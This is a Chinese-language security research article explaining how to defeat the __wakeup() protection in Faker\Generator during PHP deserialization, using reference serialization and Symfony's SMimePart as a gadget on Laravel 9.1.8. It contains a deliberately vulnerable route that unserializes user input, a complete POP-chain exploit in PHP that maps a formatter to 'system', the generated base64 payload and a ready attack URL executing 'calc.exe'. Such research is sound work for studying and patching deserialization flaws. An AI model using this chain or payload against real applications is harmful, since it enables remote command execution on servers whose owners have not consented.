作者:1nhann
原文鏈接:https://inhann.top/2022/05/17/bypass_wakeup/

本文以 Laravel 9.1.8 為例,介紹一個通用的新思路,用以繞過 pop chain 構造過程中遇到的 __wakeup()

環境搭建

Laravel 9.1.8

routes/web.php

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

要繞過的 __wakeup()

https://github.com/FakerPHP/Faker

https://github.com/FakerPHP/Faker/pull/136

https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e

image-20220516212734164

在 laravel < v5.7 , yii2 < 2.0.38 的情況下, Faker\Generator 是非常好用的反序列化 gagdet ,但是從 FakerPHP v 1.12.1 之后, Generator.php 中加了個 __wakeup() 方法:

public function __wakeup()
{
    $this->formatters = [];
}

這使得 $this->formatters 的值始終為空 array ,這個 gagdet 一定程度上,不能用了。

本文提供一個通用的新思路,用以繞過 pop chain 構造過程中遇到的 __wakeup()

梳理繞過思路

關鍵詞:reference

https://www.phpinternalsbook.com/php5/classes_objects/serialization.html

demo

首先考慮 這樣一個 demo :

運行結果:

image-20220517000703926

可以看到 s:4:"fuck";R:2; ,使得 $this->fuck$this->bitch 指向的是同一個值,即 $this->fuck 修改了 $this->bitch 也被修改了

核心思想

  1. Faker\Generator$this->formatters 和某個對象$o的某個屬性 $a 指向同一個值
  2. Faker\Generator__wakeup() 運行完之后,反序列化 gadget 的 __destruct() 運行之前,給 $a 賦值
  3. $a 的賦值如果完全可控,那么 $this->formatters 將不再為空,且完全可控

尋找繞過用的 gadget

根據上面的思路,很容易想到,找一個合適的 __wakeup() 或者 __destruct()

其中最好有類似這樣的代碼:

$this->a = $this->b;
$this->a[$this->b] = $this->c

經過搜索排查,這里給出 三個可以用的 gadget :

Symfony\Component\Mime\Part\SMimePart.php

namespace Symfony\Component\Mime\Part;
class SMimePart extends AbstractPart
public function __wakeup(): void
{
    $r = new \ReflectionProperty(AbstractPart::class, 'headers');
    $r->setAccessible(true);
    $r->setValue($this, $this->_headers);
    unset($this->_headers);
}

這個類來自 https://github.com/symfony/mime ,其 $headers 屬性繼承自其父類 AbstractPart__wakeup() 當中使用反射給 $headers 賦值

翻看 git log ,可以看到從項目建立開始,這個 SMimePart__wakeup() 就存在,而且沒有變過( 也就是說凡是使用了 symfony/mime 這個依賴的項目,其 __wakeup() 都可能可以繞過 ):

image-20220516214038940

除此之外,Part/DataPart.phpPart/TextPart.php__wakeup() 也 和 Part/SMimePart.php 大致相同,一樣可以被用作 gadget

構造 poc

比如對這條鏈進行改造:https://bkfish.gitee.io/2020/12/01/Some-Php-Pop-Chain-Analysis/#113-laravel-58-exp3

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }

    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        public function __construct()
        {
            $this->event = "calc.exe";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["dispatch"=>"system"];
            $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}


namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

result :

TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

attack :

http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

image-20220517004350164

調試:

Generator\Generator__wakeup() 先被調用:

image-20220517093132274

Symfony\Component\Mime\Part\SMimePart__wakeup() 隨后被調用,并將 $this->_headers 賦值給 $this->headers

image-20220517093250791

然后才進入 __destruct()

image-20220517093429816

可以看到,雖然 Generator\Generator__wakeup() 執行了,但是 $this->formatters 不為空:

image-20220517093507269

總結

總的來說,本文介紹的 bypass __wakeup() 并不是跳過 __wakeup() 的執行,而是通過構造包含reference的特殊序列化數據 ,達到對沖 __wakeup() 的效果。一般情況下,如果 __wakeup() 里面是對屬性的再賦值,而沒有 throw Exception 之類的,環境依賴又恰到好處,那就可以達到本文所說的 bypass。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1905/